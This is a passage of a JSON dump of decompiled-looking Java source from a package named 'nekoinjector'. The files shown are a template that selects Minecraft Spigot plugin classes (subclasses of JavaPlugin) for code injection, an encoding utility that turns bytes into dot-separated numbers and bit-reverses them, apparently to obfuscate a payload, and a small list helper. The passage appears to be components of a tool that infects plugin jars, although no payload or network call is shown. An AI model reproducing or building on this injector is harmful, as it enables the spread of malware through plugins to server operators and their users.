    "content": "package dev.neko.nekoinjector.template.impl;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport dev.neko.nekoinjector.template.Template;\r\nimport java.util.Objects;\r\n\r\npublic class SpigotPluginTemplate implements Template {\r\n   private static final String PLUGIN_SUPERCLASS = \"org/bukkit/plugin/java/JavaPlugin\";\r\n\r\n   @Override\r\n   public boolean shouldSuggest(EntryList entries) {\r\n      return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, \"org/bukkit/plugin/java/JavaPlugin\"));\r\n   }\r\n\r\n   @Override\r\n   public boolean shouldInject(Entry entry) {\r\n      return Objects.equals(entry.getClassNode().superName, \"org/bukkit/plugin/java/JavaPlugin\");\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"minecraft-spigot-plugin\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/utils/EncodingUtil.java",
    "content": "package dev.neko.nekoinjector.utils;\r\n\r\nimport java.util.StringJoiner;\r\n\r\npublic class EncodingUtil {\r\n   public static byte[] decodeFromByteFormat(String string) {\r\n      String[] split = string.split(\"\\\\.\");\r\n      byte[] bytes = new byte[split.length];\r\n\r\n      for(int i = 0; i < bytes.length; ++i) {\r\n         bytes[i] = Byte.parseByte(split[i]);\r\n      }\r\n\r\n      return bytes;\r\n   }\r\n\r\n   public static String encodeToByteFormat(byte[] bytes) {\r\n      StringJoiner joiner = new StringJoiner(\".\");\r\n\r\n      for(byte b : bytes) {\r\n         joiner.add(String.valueOf((int)b));\r\n      }\r\n\r\n      return joiner.toString();\r\n   }\r\n\r\n   public static byte[] reverseBytes(byte[] bytes) {\r\n      byte[] reversedBytes = new byte[bytes.length];\r\n\r\n      for(int i = 0; i < bytes.length; ++i) {\r\n         byte originalByte = bytes[i];\r\n         byte reversedByte = 0;\r\n\r\n         for(int j = 0; j < 8; ++j) {\r\n            reversedByte = (byte)(reversedByte << 1);\r\n            reversedByte = (byte)(reversedByte | originalByte & 1);\r\n            originalByte = (byte)(originalByte >> 1);\r\n         }\r\n\r\n         reversedBytes[i] = reversedByte;\r\n      }\r\n\r\n      return reversedBytes;\r\n   }\r\n\r\n   public static byte[] restoreReversedBytes(byte[] reversedBytes) {\r\n      byte[] bytes = new byte[reversedBytes.length];\r\n\r\n      for(int i = 0; i < reversedBytes.length; ++i) {\r\n         byte reversedByte = reversedBytes[i];\r\n         byte originalByte = 0;\r\n\r\n         for(int j = 0; j < 8; ++j) {\r\n            originalByte = (byte)(originalByte << 1);\r\n            originalByte = (byte)(originalByte | reversedByte & 1);\r\n            reversedByte = (byte)(reversedByte >> 1);\r\n         }\r\n\r\n         bytes[i] = originalByte;\r\n      }\r\n\r\n      return bytes;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/utils/ListUtil.java",
    "content": "package dev.neko.nekoinjector.utils;\r\n\r\nimport java.util.Enumeration;\r\nimport java.util.List;\r\nimport java.util.function.Function;\r\nimport java.util.function.Predicate;\r\n\r\npublic class ListUtil {\r\n   public static <T, R> void toList(List<R> list, Enumeration<T> enumeration, Predicate<T> predicate, Function<? super T, ? extends R> mapper) {\r\n      while(enumeration.hasMoreElements()) {\r\n         T element = enumeration.nextElement();\r\n         if (predicate.test(element)) {\r\n            list.add(mapper.apply(element));\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  }
]